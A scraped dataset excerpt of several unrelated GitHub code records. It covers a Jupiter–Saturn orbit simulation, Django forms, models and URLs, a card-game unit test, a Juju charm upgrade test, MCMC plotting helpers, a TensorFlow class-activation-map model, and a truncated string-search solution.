Jupiter (body 1)\nm2 = 5.683e26/M_solar #mass of Saturn (body 2)\na1 = 5.204 #semi-major axis in AU Jupiter \na2 = 9.853 #semi-major axis in AU Saturn \ne1 = 0.049 #Jupiter's eccentricity \ne2 = 0.057 #Saturn's eccentricity \n\ndef v_aph(a, e):\n \"returns the velocity of the planet at the perihelion and period of orbit \"\n P = np.sqrt(a**3)\n v_aph = ((2*np.pi*a)/P)*((1-e)/(1+e))**0.5\n return v_aph, P\n \nP1 = v_aph(a1, e1)[1] #Jupiter's time period\nP2 = v_aph(a2, e2)[1] #Saturn's time period \n\n\n#initial conditions \nv1_init = v_aph(a1, e1)[0]\nv2_init = v_aph(a2, e2)[0]\n\n\ndef acc(r, v, t):\n \"input position as list: r = [x1,x2,y1,y2], input velocity as list: v =[vx1,vx2,vy1,vy2]\"\n x1 = r[0]; vx1 = v[0]\n x2 = r[1]; vx2 = v[1]\n y1 = r[2]; vy1 = v[2]\n y2 = r[3]; vy2 = v[3]\n\n #using mass in solar masses, time in earth years and distances in AU \n GM = 4*(np.pi)**2\n \n #magnitude of r \n r1 = np.sqrt(x1**2 + y1**2)\n r2 = np.sqrt(x2**2 + y2**2)\n \n #magnitude vector between Jupiter and Saturn \n r21 = np.sqrt((x2-x1)**2 + (y2-y1)**2)\n \n #Jupiter acceleration\n ax1 = -(GM*x1)/r1**3 + (GM*m2*(x2-x1))/r21**3\n ay1 = -(GM*y1)/r1**3 + (GM*m2*(y2-y1))/r21**3\n #Saturn acceleration \n ax2 = -(GM*x2)/r2**3 - (GM*m1*(x2-x1))/r21**3\n ay2 = -(GM*y2)/r2**3 - (GM*m1*(y2-y1))/r21**3\n \n #output acceleration \n return np.array([ax1, ax2, ay1, ay2])\n\ndef vel(r, v, t):\n \"input position and velocity vectors and output velocity vector\"\n return v \n\n\n#creating empty lists to assign values to \nx1_points = []\nvx1_points = []\ny1_points = []\nvy1_points = []\n\nx2_points = []\nvx2_points = []\ny2_points = []\nvy2_points = []\n\nt_points = []\n\n\n#initial conditions \nr = np.array([a1, a2, 0, 0]) #in AU \nv = np.array([0, 0, v1_init, v2_init]) #dimensionless velocity \n\nt = 0\nt_end = P2*5\nprint('time interval of {}'.format(t_end))\nh = 0.01\n \nwhile t < t_end:\n \n k1 = h * vel(r,v, t)\n k2 = h * vel(r + k1/2,v, t+h/2)\n k3 = h * vel(r + k2/2,v, t+h/2)\n k4 = h * vel(r + k3, v, t + h)\n \n r = r + (k1 + 2*k2 + 2*k3 + k4)/6\n \n x1_points.append(r[0])\n x2_points.append(r[1])\n y1_points.append(r[2])\n y2_points.append(r[3])\n\n \n k1 = h * acc(r,v, t)\n k2 = h * acc(r, v + k1/2, t+h/2)\n k3 = h * acc(r, v + k2/2, t+h/2)\n k4 = h * acc(r, v + k3, t + h)\n \n v = v + (k1 + 2*k2 + 2*k3 + k4)/6\n \n vx1_points.append(r[0])\n vx2_points.append(r[1])\n vy1_points.append(r[2])\n vy2_points.append(r[3])\n\n \n t_points.append(t)\n \n t = t + h \n \n\n#figure formatting\nplt.figure(figsize=(8,8))\nplt.plot(x1_points, y1_points, ls='None', marker='o', ms=0.5, label=\"Jupiter's orbit\")\nplt.plot(x2_points, y2_points, ls='None', marker='o', ms=0.5, label=\"Saturn's orbit\")\n\nplt.xlabel('x', fontsize=16)\nplt.xlim(-10, 10)\nplt.ylim(-10,10)\nplt.ylabel('y', fontsize=16)\nplt.title('Orbit of Jupiter and Saturn around the sun', fontsize=16) \nplt.plot(0,0, 'ro', marker='*', ms=10)\nplt.legend(markerscale=10., bbox_to_anchor=(0.75, 0.98))\nplt.axis('equal')\nplt.show()\n","repo_name":"Hazel-H/comp-astro-PH30110-","sub_path":"PART-A/23746_Q2a.py","file_name":"23746_Q2a.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"17481718432","text":"from django import forms\nfrom rater.ratings import RATING_CHOICES\n\n\nclass RateNameForm(forms.Form):\n rating = forms.ChoiceField(choices=RATING_CHOICES,\n label='',\n initial='',\n widget=forms.Select(),\n required=True)\n starred = forms.BooleanField()\n","repo_name":"martin-martin/baby-name-rater","sub_path":"namerater/rater/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9748503658","text":"import random\nfrom enums import UnitType, TriggerType\nfrom point import Point\nfrom unit import Unit\nfrom target import Target\nfrom test import CardTestCase\n\nclass U320(Unit): # Original Blueprints\n def __init__(self):\n super().__init__([UnitType.CONSUTRUCT, UnitType.ANCIENT], 4, 7, 1, TriggerType.BEFORE_MOVING)\n\n def activate_ability(self, position: Point | None = None):\n targets = self.player.board.get_surrounding_tiles(self.position, Target(Target.Kind.UNIT, Target.Side.FRIENDLY))\n\n if len(targets) > 0:\n self.player.board.at(random.choice(targets)).heal(4)\n\nclass U320Test(CardTestCase):\n def test_ability(self):\n self.board.spawn_token_unit(self.local, Point(0, 4), 1)\n self.board.spawn_token_unit(self.local, Point(1, 4), 1)\n self.board.spawn_token_unit(self.remote, Point(2, 4), 1)\n card = U320()\n card.player = self.local\n card.play(Point(1, 3))\n\n self.assertTrue(self.board.at(Point(0, 4)).strength == 5 or self.board.at(Point(1, 4)).strength == 5)\n self.assertEqual(self.board.at(Point(2, 4)).strength, 1)","repo_name":"dvrp0/Monsoon","sub_path":"cards/u320.py","file_name":"u320.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"10500608736","text":"\"\"\"management URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\n\nfrom django.urls import path\nfrom user import views\n\nurlpatterns = [\n path('', views.index),\n path('registration',views.userRegistration),\n path('registration/',views.userRegistration),\n path('user-list',views.userTable),\n path('state-list-by-country/', views.stateByCountryID),\n path('contact', views.contactUs),\n path('login', views.userLogin),\n path('user/profile', views.userProfile),\n path('logout',views.userLogout),\n path('user',views.userindex),\n path('update-user-resume', views.updateUserResume),\n path('update-user-deatil', views.updateUserDetail),\n]\n","repo_name":"rahulsh283/job_management","sub_path":"management/user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"38625139770","text":"import asyncio\nimport logging\nimport time\nfrom pathlib import Path\n\nimport pytest\nimport utils\nimport yaml\nfrom juju.action import Action\nfrom pytest_operator.plugin import OpsTest\n\nlogger = logging.getLogger(__name__)\n\nMETADATA = yaml.safe_load(Path(\"./metadata.yaml\").read_text())\nAPP_NAME = \"openfga\"\n\n\n@pytest.mark.abort_on_fail\nasync def test_upgrade_running_application(ops_test: OpsTest):\n \"\"\"Deploy latest published charm and upgrade it with charm-under-test.\n\n Assert on the application status and health check endpoint after upgrade/refresh took place.\n \"\"\"\n\n # Build charm that requires charm-under-test\n test_charm = await ops_test.build_charm(\"./tests/charms/openfga_requires/\")\n\n # Deploy the charm and wait for active/idle status\n logger.debug(\"deploying charms from store\")\n await asyncio.gather(\n ops_test.model.deploy(\n METADATA[\"name\"],\n application_name=APP_NAME,\n channel=\"edge\",\n series=\"jammy\",\n ),\n ops_test.model.deploy(\n \"postgresql-k8s\", application_name=\"postgresql\", channel=\"edge\"\n ),\n ops_test.model.deploy(\n test_charm,\n application_name=\"openfga-requires\",\n series=\"jammy\",\n ),\n )\n\n logger.debug(\"waiting for postgresql\")\n await ops_test.model.wait_for_idle(\n apps=[\"postgresql\"],\n status=\"active\",\n raise_on_blocked=True,\n timeout=1000,\n )\n\n logger.debug(\"adding postgresql relation\")\n await ops_test.model.integrate(APP_NAME, \"postgresql:database\")\n\n logger.debug(\"running schema-upgrade action\")\n openfga_unit = await utils.get_unit_by_name(\n APP_NAME, \"0\", ops_test.model.units\n )\n for i in range(10):\n action: Action = await openfga_unit.run_action(\"schema-upgrade\")\n result = await action.wait()\n logger.info(\n \"attempt {} -> action result {} {}\".format(\n i, result.status, result.results\n )\n )\n if result.results == {\"result\": \"done\", \"return-code\": 0}:\n break\n time.sleep(2)\n\n async with ops_test.fast_forward():\n await ops_test.model.wait_for_idle(\n apps=[APP_NAME],\n status=\"active\",\n timeout=60,\n )\n\n assert ops_test.model.applications[APP_NAME].status == \"active\"\n\n await ops_test.model.integrate(APP_NAME, \"openfga-requires\")\n\n async with ops_test.fast_forward():\n await ops_test.model.wait_for_idle(\n apps=[\"openfga-requires\"],\n status=\"active\",\n timeout=60,\n )\n\n openfga_requires_unit = await utils.get_unit_by_name(\n \"openfga-requires\", \"0\", ops_test.model.units\n )\n assert (\n \"running with store\" in openfga_requires_unit.workload_status_message\n )\n\n # Starting upgrade/refresh\n logger.debug(\"starting upgrade test\")\n\n # Build and deploy charm from local source folder\n logger.debug(\"building local charm\")\n\n charm = await ops_test.build_charm(\".\")\n resources = {\"openfga-image\": \"localhost:32000/openfga:latest\"}\n\n # Deploy the charm and wait for active/idle status\n logger.debug(\"refreshing running application with the new local charm\")\n\n await ops_test.model.applications[APP_NAME].refresh(\n path=charm,\n resources=resources,\n )\n\n async with ops_test.fast_forward():\n await ops_test.model.wait_for_idle(\n apps=[APP_NAME],\n status=\"active\",\n timeout=60,\n )\n\n assert ops_test.model.applications[APP_NAME].status == \"active\"\n\n upgraded_openfga_unit = await utils.get_unit_by_name(\n APP_NAME, \"0\", ops_test.model.units\n )\n\n health = await upgraded_openfga_unit.run(\n \"curl -s http://localhost:8080/healthz\"\n )\n await health.wait()\n assert health.results.get(\"return-code\") == 0\n assert health.results.get(\"stdout\").strip() == '{\"status\":\"SERVING\"}'\n","repo_name":"alesstimec/public-cs-openfga","sub_path":"charms/openfga-k8s/tests/integration/test_upgrade.py","file_name":"test_upgrade.py","file_ext":"py","file_size_in_byte":3972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"11"} +{"seq_id":"12991624150","text":"\"\"\"A module with assorted visualization functions.\n\"\"\"\nimport os\nfrom typing import List as _List\n\nimport matplotlib.gridspec as _gridspec\nimport matplotlib.pyplot as _plt\nimport numpy as _numpy\n\nfrom hmclab.Helpers import Processing as _Processing\nfrom hmclab.Samples import Samples as _Samples\n\n\ndef marginal_grid(\n samples: _Samples,\n dimensions_list: _List[int],\n bins: int = 25,\n show: bool = True,\n colormap_2d=_plt.get_cmap(\"Greys\"),\n color_1d=\"black\",\n figsize=(8, 8),\n):\n \"\"\"Method to visualize 1D and 2D marginals for multiple dimensions simultaneously.\"\"\"\n number_of_plots = len(dimensions_list)\n\n _plt.figure(figsize=figsize)\n gs1 = _gridspec.GridSpec(number_of_plots, number_of_plots)\n gs1.update(wspace=0.05, hspace=0.05) # set the spacing between axes.\n\n # Get extent of every set\n dim_range = []\n for i_dim in range(number_of_plots):\n min = samples[dimensions_list[i_dim], :].min()\n max = samples[dimensions_list[i_dim], :].max()\n dim_range.append((min, max))\n\n if isinstance(samples, _Samples):\n # Check if all dimensions to be plotted are actual dimensions\n assert samples.numpy.shape[0] - 1 > dimensions_list[i_dim], (\n \"You tried to plot a dimension that is not part of the distribution. \"\n f\"The passed samples file has {samples.numpy.shape[0]-1} dimensions \"\n \"plus 1 for misfit. The misfit can not be plotted in the marginal. You \"\n f\"tried to plot (among others) dimension {dimensions_list[i_dim]}, \"\n \"which is out of range for zero-indexed dimensions. Check \"\n \"`dimensions_list`.\"\n )\n\n for i_plot in range(number_of_plots):\n # print(i_plot, i_plot) # grid indices for diagonal\n axis = _plt.subplot(gs1[i_plot + (number_of_plots) * i_plot])\n\n _mean = _numpy.mean(samples[dimensions_list[i_plot], :])\n _std = _numpy.std(samples[dimensions_list[i_plot], :])\n\n # Modify axes\n if i_plot != number_of_plots - 1:\n axis.set_xticklabels([])\n axis.tick_params(axis=\"x\", which=\"both\", bottom=False, top=False)\n else:\n axis.set_xlabel(\n f\"dimension {dimensions_list[number_of_plots-1]}\"\n f\"{os.linesep}\"\n f\"mean: {_mean:.2f}\"\n f\"{os.linesep}\"\n f\"std: {_std:.2f}\"\n )\n\n axis.set_yticklabels([])\n axis.tick_params(axis=\"y\", which=\"both\", left=False, right=False)\n if i_plot == 0:\n axis.set_ylabel(\"relative density\")\n\n # Plot histogram on diagonal\n _, edges, _ = axis.hist(\n samples[dimensions_list[i_plot], :],\n bins=bins,\n density=False,\n range=dim_range[i_plot],\n color=color_1d,\n )\n\n axis.set_xlim([edges[0], edges[-1]])\n\n xlim = axis.get_xlim()\n\n x_axis = _numpy.arange(xlim[0], xlim[1], 0.01)\n from scipy.stats import norm as _norm\n\n _pdf = _norm.pdf(x_axis, _mean, _std)\n\n _pdf = axis.get_ylim()[1] * _pdf / _pdf.max()\n axis.plot(x_axis, _pdf)\n\n for j_plot in range(i_plot):\n # print(i_plot, j_plot) # grid indices for lower left\n axis = _plt.subplot(gs1[j_plot + (number_of_plots) * i_plot])\n\n # Modify axes\n if i_plot != number_of_plots - 1:\n axis.set_xticklabels([])\n axis.tick_params(axis=\"x\", which=\"both\", bottom=False, top=False)\n else:\n axis.set_xlabel(\n f\"dimension {dimensions_list[j_plot]}\"\n f\"{os.linesep}\"\n f\"mean: {_numpy.mean(samples[dimensions_list[j_plot], :]):.2f}\"\n f\"{os.linesep}\"\n f\"std: {_numpy.std(samples[dimensions_list[j_plot], :]):.2f}\"\n )\n\n if j_plot != 0:\n axis.set_yticklabels([])\n axis.tick_params(axis=\"y\", which=\"both\", left=False, right=False)\n else:\n axis.set_ylabel(f\"dimension {dimensions_list[i_plot]}\")\n\n # Plot 2d marginals\n axis.hist2d(\n samples[dimensions_list[j_plot], :],\n samples[dimensions_list[i_plot], :],\n bins=bins,\n range=[dim_range[j_plot], dim_range[i_plot]],\n cmap=colormap_2d,\n )\n\n # print(i_plot, j_plot) # grid indices for lower left\n axis = _plt.subplot(gs1[i_plot + (number_of_plots) * j_plot])\n\n axis.set_xticklabels([])\n axis.tick_params(axis=\"x\", which=\"both\", bottom=False, top=False)\n axis.set_yticklabels([])\n axis.tick_params(axis=\"y\", which=\"both\", left=False, right=False)\n\n axis.axis(\"off\")\n\n correlation = _numpy.corrcoef(\n samples[dimensions_list[j_plot], :],\n samples[dimensions_list[i_plot], :],\n )[1][0]\n axis.text(\n 0.5,\n 0.5,\n f\"{correlation:.2f}\",\n horizontalalignment=\"center\",\n verticalalignment=\"center\",\n fontsize=40 * _numpy.abs(correlation),\n transform=axis.transAxes,\n )\n\n if show:\n _plt.show()\n return gs1\n\n\ndef marginal(\n samples: _Samples,\n dimension: int,\n bins: int = 25,\n show: bool = True,\n color=\"black\",\n figsize=(8, 8),\n):\n \"\"\"Method to visualize 1D marginals.\"\"\"\n number_of_plots = 1\n\n _plt.figure(figsize=figsize)\n gs1 = _gridspec.GridSpec(number_of_plots, number_of_plots)\n gs1.update(wspace=0.05, hspace=0.05) # set the spacing between axes.\n\n # Get extent of samples\n min = samples[dimension, :].min()\n max = samples[dimension, :].max()\n dim_range = (min, max)\n\n axis = _plt.subplot(gs1[0])\n\n axis.set_xlabel(\n f\"dimension {dimension}\"\n f\"{os.linesep}\"\n f\"emperical mean: {_numpy.mean(samples[dimension, :]):.2f}\"\n f\"{os.linesep}\"\n f\"emperical std: {_numpy.std(samples[dimension, :]):.2f}\"\n )\n\n axis.set_ylabel(\"relative density\")\n\n # Plot histogram on diagonal\n axis.hist(\n samples[dimension, :],\n bins=bins,\n density=False,\n range=dim_range,\n color=color,\n )\n\n if show:\n _plt.show()\n\n\ndef visualize_2_dimensions(\n samples: _Samples,\n dim1: int = 0,\n dim2: int = 1,\n bins: int = 25,\n show: bool = True,\n colormap_2d=_plt.get_cmap(\"Greys\"),\n color_1d=\"black\",\n):\n \"\"\"Method to jointly investigate 2 dimensions of a sampled posterior.\n\n Parameters\n ==========\n samples : hmclab.Samples\n Samples object.\n dim1 : int\n First dimension to investigate.\n dim2 : int\n Second dimension to investigate.\n bins : int\n Bins used for 1d and 2d histograms.\n show : bool\n Whether or not to render the output. If false, the plot is only show after\n using ``matplotlib.pyplot.show()``. If true, plot is immediately shown.\n\n \"\"\"\n if type(samples) == _Samples:\n for dim in [dim1, dim2]:\n assert samples.numpy.shape[0] > dim, (\n \"You tried to plot a dimension that is not part of the distribution. The \"\n f\"passed samples file has {samples.numpy.shape[0]-1} dimensions plus 1 for \"\n \"misfit. The misfit can be plotted in the 2d visualization. You tried to \"\n f\"plot (among others) dimension {dim}, which is out of range \"\n \"for zero-indexed dimensions. Check `dimensions_list`.\"\n )\n\n figure_analysis = _plt.figure(figsize=(14, 8))\n axis_2d_histogram = figure_analysis.add_axes([0.07, 0.1, 0.45 / 2, 0.4])\n\n axis_1d_histogram_x = figure_analysis.add_axes(\n [0.07, 0.5, 0.45 / 2, 0.4], sharex=axis_2d_histogram\n )\n axis_1d_histogram_y = figure_analysis.add_axes(\n [0.07 + 0.5 * 0.45, 0.1, 0.45 / 2, 0.4], sharey=axis_2d_histogram\n )\n axis_1d_traceplot = figure_analysis.add_axes(\n [0.52, 0.1, 0.45, 0.4], sharey=axis_2d_histogram\n )\n axis_autocorrelation = figure_analysis.add_axes(\n [0.52, 0.5, 0.45, 0.4], sharex=axis_1d_traceplot\n )\n\n axis_2d_histogram.hist2d(samples[dim1, :], samples[dim2, :], bins, cmap=colormap_2d)\n axis_1d_histogram_x.hist(samples[dim1, :], bins, color=color_1d)\n axis_1d_histogram_y.hist(\n samples[dim2, :], bins, orientation=\"horizontal\", color=color_1d\n )\n axis_1d_traceplot.plot(samples[dim2, :], \"--\", color=color_1d)\n axis_1d_traceplot.set_xlim([0, samples[dim2, :].size])\n axis_autocorrelation.plot(\n _Processing.autocorrelation(samples[dim1, :]),\n \"r\",\n label=f\"Dimension {dim1}\",\n )\n axis_autocorrelation.plot(\n _Processing.autocorrelation(samples[dim2, :]),\n \"b\",\n label=f\"Dimension {dim2}\",\n )\n axis_autocorrelation.plot(\n _Processing.crosscorrelation(samples[dim1, :], samples[dim2, :]),\n alpha=0.25,\n label=\"Cross\",\n color=color_1d,\n )\n axis_autocorrelation.legend()\n\n axis_1d_histogram_x.set_ylabel(\"count\")\n axis_1d_histogram_y.set_xlabel(\"count\")\n\n axis_2d_histogram.set_xlabel(f\"Dimension {dim1}\")\n axis_2d_histogram.set_ylabel(f\"Dimension {dim2}\")\n\n axis_1d_traceplot.set_xlabel(\"sample number\")\n axis_autocorrelation.set_xlabel(\"sample delay\")\n axis_autocorrelation.set_ylabel(\"correlation\")\n axis_autocorrelation.xaxis.tick_top()\n axis_autocorrelation.xaxis.set_label_position(\"top\")\n\n axis_autocorrelation.set_yticks([0, 0.5, 1])\n\n # Disabling ticks\n axis_1d_histogram_x.tick_params(\n axis=\"x\", which=\"both\", bottom=False, labelbottom=False\n )\n axis_1d_histogram_y.tick_params(axis=\"y\", which=\"both\", left=False, labelleft=False)\n # axis_autocorrelation.tick_params(\n # axis=\"x\", which=\"both\", bottom=False, labelbottom=False\n # )\n axis_1d_traceplot.tick_params(axis=\"y\", which=\"both\", left=False, labelleft=False)\n\n if show:\n _plt.show()\n\n return (\n figure_analysis,\n (\n axis_2d_histogram,\n axis_1d_histogram_x,\n axis_1d_histogram_y,\n None, # For unused space\n axis_1d_traceplot,\n axis_autocorrelation,\n ),\n )\n","repo_name":"larsgeb/hmclab","sub_path":"hmclab/Visualization.py","file_name":"Visualization.py","file_ext":"py","file_size_in_byte":10426,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"11"} +{"seq_id":"70747563868","text":"from django.contrib.auth.models import AbstractUser\nfrom django.db import models\n\nfrom core.settings import PLATFORMS\n\n\nclass Medicine(models.Model):\n name = models.CharField(max_length=1000, null=True, default=None)\n salt_name = models.TextField(null=True, default=None)\n price = models.FloatField(null=True, blank=True, default=None)\n discounted_price = models.FloatField(null=True, blank=True, default=None)\n med_image = models.URLField(null=True, blank=True, default=None)\n platform = models.CharField(max_length=500, choices=PLATFORMS)\n dosage = models.PositiveIntegerField(null=True, blank=True, default=None, help_text=\"in Milligrams\")\n med_url = models.URLField(null=True, blank=True, default=None, unique=True)\n is_available = models.BooleanField(default=True)\n last_updated = models.DateTimeField(default=None, null=True, blank=True)\n med_count = models.PositiveIntegerField(default=None, null=True, blank=True)\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n if not self.price:\n self.price = self.discounted_price\n self.med_count = 0\n\n def get_platform(self):\n return dict(PLATFORMS).get(self.platform)\n\n def __str__(self):\n return f'{self.name} - {self.salt_name}'\n\n class Meta:\n ordering = ['-last_updated']\n indexes = [\n models.Index(fields=['name', 'salt_name']),\n models.Index(fields=['price', 'discounted_price']),\n ]\n","repo_name":"JhonyDev/dj-meedgo-scraper-","sub_path":"src/api/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"42800888821","text":"# -*- coding: utf-8 -*-\n\"\"\"\nUtility functions.\nCreated on Wed Oct 26 11:01:51 2016\n@author: M. Waleed Gondal\n\"\"\"\n\nimport pickle\n\nimport numpy as np\nimport tensorflow as tf\n\n\nclass CAM:\n\n \"\"\"CAM (Class Activation Maps) implements a weakly supervised localization method proposed by\n http://cnnlocalization.csail.mit.edu/\n The approach is published under the name of 'Learning Deep Features for Discriminative\n Localization', Bolei Zhou et al.\n Disclaimer: A part of this code is inspired by the CAM implementation of\n https://github.com/metalbubble/CAM\n The class defines a modified CNN model, VGG16, which uses Global Average Pooling (GAP) to compute\n the weights which linearly correlate the last conv layer's feature maps to the output score.\n The class initializes the network with pretrained weights for GAP provided by the authors.\n Parameters\n -----------\n weight_file_path: list of numpy arrays\n List of arrays that contain pretrained network parameters. The layers are parsed with respect\n to the respective layer name.\n n_labels: int\n An integer representing the number of output classes\n Yields\n --------\n conv6 : numpy array of float32\n A batch of last convolutional layer feature maps. Shape (batchsize, height, width, channels).\n output : numpy array of float32\n The corresponding output scores. Shape (batchsize, num_labels)\"\"\"\n\n def __init__(self, n_labels, weight_file_path=None):\n\n self.image_mean = [103.939, 116.779, 123.68]\n self.n_labels = n_labels\n assert weight_file_path is not None, \"No weight file found\"\n self.pretrained_weights = np.load(weight_file_path, encoding=\"latin1\")\n\n def get_conv_weight(self, layer_name):\n \"\"\"Accessing conv biases from the network weights\"\"\"\n return (self.pretrained_weights.item()[layer_name])[\"weights\"]\n\n def get_conv_bias(self, layer_name):\n \"\"\"Accessing biases from the network weights\"\"\"\n return (self.pretrained_weights.item()[layer_name])[\"biases\"]\n\n def conv_layer(self, bottom, name, stride=1):\n\n \"\"\"For the implementation convolutional layer using tensorflow predefined conv function.\n Parameters\n ----------\n bottom: Tensor\n A tensor of shape (batchsize, height, width, channels)\n name: String\n A name for the variable scope according to the layer it belongs to.\n stride: Int\n An integer value defining the convolutional layer stride.\n Yields\n --------\n relu : Tensor\n A tensor of shape (batchsize, height, width, channels)\"\"\"\n\n with tf.variable_scope(name) as scope:\n\n w = self.get_conv_weight(name)\n b = self.get_conv_bias(name)\n conv_weights = tf.get_variable(\"W\", shape=w.shape, initializer=tf.constant_initializer(w))\n conv_biases = tf.get_variable(\"b\", shape=b.shape, initializer=tf.constant_initializer(b))\n\n conv = tf.nn.conv2d(bottom, conv_weights, [1, stride, stride, 1], padding=\"SAME\")\n bias = tf.nn.bias_add(conv, conv_biases)\n relu = tf.nn.relu(bias, name=name)\n\n return relu\n\n def network(self, image, is_training=True, dropout=1.0):\n\n \"\"\" Defines the VGG16 Network with Global Average Pooling (GAP) configuration.\n Parameters\n ----------\n rgb: Tensor\n A tensor of shape (batchsize, height, width, channels)\n Yields\n --------\n conv6 : numpy array of float32\n A batch of last convolutional layer feature maps. Shape (batchsize, height, width, channels).\n output : numpy array of float32\n The corresponding output scores. Shape (batchsize, num_labels)\"\"\"\n\n image *= 255.0\n r, g, b = tf.split(image, [1, 1, 1], 3)\n # with tf.Session() as sess:\n # print(sess.run(r))\n image = tf.concat([b - self.image_mean[0], g - self.image_mean[1], r - self.image_mean[2]], 3)\n\n relu1_1 = self.conv_layer(image, \"conv1_1\")\n relu1_2 = self.conv_layer(relu1_1, \"conv1_2\")\n\n pool1 = tf.nn.max_pool(relu1_2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=\"SAME\", name=\"pool1\")\n\n relu2_1 = self.conv_layer(pool1, \"conv2_1\")\n relu2_2 = self.conv_layer(relu2_1, \"conv2_2\")\n pool2 = tf.nn.max_pool(relu2_2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=\"SAME\", name=\"pool2\")\n\n relu3_1 = self.conv_layer(pool2, \"conv3_1\")\n relu3_2 = self.conv_layer(relu3_1, \"conv3_2\")\n relu3_3 = self.conv_layer(relu3_2, \"conv3_3\")\n pool3 = tf.nn.max_pool(relu3_3, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=\"SAME\", name=\"pool3\")\n\n relu4_1 = self.conv_layer(pool3, \"conv4_1\")\n relu4_2 = self.conv_layer(relu4_1, \"conv4_2\")\n relu4_3 = self.conv_layer(relu4_2, \"conv4_3\")\n pool4 = tf.nn.max_pool(relu4_3, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=\"SAME\", name=\"pool4\")\n\n relu5_1 = self.conv_layer(pool4, \"conv5_1\")\n relu5_2 = self.conv_layer(relu5_1, \"conv5_2\")\n relu5_3 = self.conv_layer(relu5_2, \"conv5_3\")\n\n # Introduction of new conv layer (CONV 6) in conventional VGG Net to increase mapping resolution.\n\n # ***************************************************************************************************************\n # IN CAFFE implementation, Grouped Convolution or Depthwise Grouping is done. It's dividing the input and kernel into\n # 2 halves, compute convolutions depthwise and then concating the results\n # When group=2, the first half of filters are only connected to the first half of input channels and same for 2nd half\n # of filters\n # There is no need to do this for training purpose\n # Following code is to implement Grouped Conv in TF\n # ***************************************************************************************************************\n\n with tf.variable_scope(\"CAM_conv\"):\n name = \"CAM_conv\"\n w = self.get_conv_weight(name)\n b = self.get_conv_bias(name)\n\n conv_weights = tf.get_variable(\"W\", shape=w.shape, initializer=tf.constant_initializer(w))\n conv_biases = tf.get_variable(\"b\", shape=b.shape, initializer=tf.constant_initializer(b))\n\n # Split relu5_3 2 groups of 256 and 256 filters\n group = 2\n group1, group2 = tf.split(relu5_3, group, 3)\n\n # Import CAM_conv weights here i.e. kernel = (3,3,256,1024) and divide it on its output\n # into 2 kernels = [3,3,256,512]\n kernel1, kernel2 = tf.split(conv_weights, group, 3)\n conv_grp1 = tf.nn.conv2d(group1, kernel1, [1, 1, 1, 1], padding=\"SAME\")\n conv_grp2 = tf.nn.conv2d(group2, kernel2, [1, 1, 1, 1], padding=\"SAME\")\n conv_output = tf.concat([conv_grp1, conv_grp2], 3)\n\n conv6 = tf.nn.bias_add(conv_output, conv_biases)\n gap = tf.reduce_mean(conv6, [1, 2])\n gap = tf.nn.dropout(gap, dropout)\n\n with tf.variable_scope(\"CAM_fc\"):\n name = \"CAM_fc\"\n w = self.get_conv_weight(name)\n\n gap_w = tf.get_variable(\"W\", shape=w.shape, initializer=tf.constant_initializer(w))\n output = tf.matmul(gap, gap_w)\n\n # Reshape the feature extractor\n fmaps_resized = tf.reshape(pool4, [-1, 131072]) # height*width*num_fmaps [-1, 14*14*512 ]\n # fmaps_resized = tf.reshape(output, [-1, 1000 ])\n return fmaps_resized, output\n\n def get_cam(self, label, fmaps, height=224, width=224, num_fmaps=1024):\n\n \"\"\" Compute the Class Activation Maps\n Parameters\n -----------\n label: Int\n An integer value corresponding to the class whose class activation map is to be computed\n fmaps: Numpy array of float32\n A batch of feature maps. Shape (batchsize, height, width, channels).\n height: Int\n An integer to which the CAM height is to be upsampled. It should be the height of input image.\n width: Int\n An integer to which the CAM width is to be upsampled. It should be the width of input image\n num_fmaps: Int\n Corresponds to the number of feature maps in the last convolutional layer. In simple terms it's the depth of\n Returns\n ---------\n Class Activation Map (CAM), a single channeled, upsampled, weighted sum of last conv filter maps. \"\"\"\n\n fmaps_resized = tf.image.resize_bilinear(fmaps, [height, width])\n\n # Retrieve Fully Connected Weights and get the weights with respect to the required label\n with tf.variable_scope(\"CAM_fc\", reuse=True):\n label_w = tf.gather(tf.transpose(tf.get_variable(\"W\")), label)\n label_w = tf.reshape(label_w, [-1, num_fmaps, 1])\n\n # Reshape fmaps and compute weighted sum of feature maps using label_w\n fmaps_resized = tf.reshape(fmaps_resized, [-1, height * width, num_fmaps])\n classmap = tf.matmul(fmaps_resized, label_w)\n\n # Resize the feature maps back to the input image size\n classmap = tf.reshape(classmap, [-1, height, width])\n return classmap\n","repo_name":"wittawatj/cadgan","sub_path":"cadgan/net/cam_model.py","file_name":"cam_model.py","file_ext":"py","file_size_in_byte":9253,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"11"} +{"seq_id":"5825340490","text":"\"\"\"\nhttps://leetcode.com/problems/implement-strstr/\n\"\"\"\n\n\nclass Solution:\n def strStr(self, haystack: str, needle: str) -> int:\n index = -1\n for i in range(len(haystack)):\n char = haystack[i]\n for j in range(len(needle)):\n char_needle = needle[j]\n # if 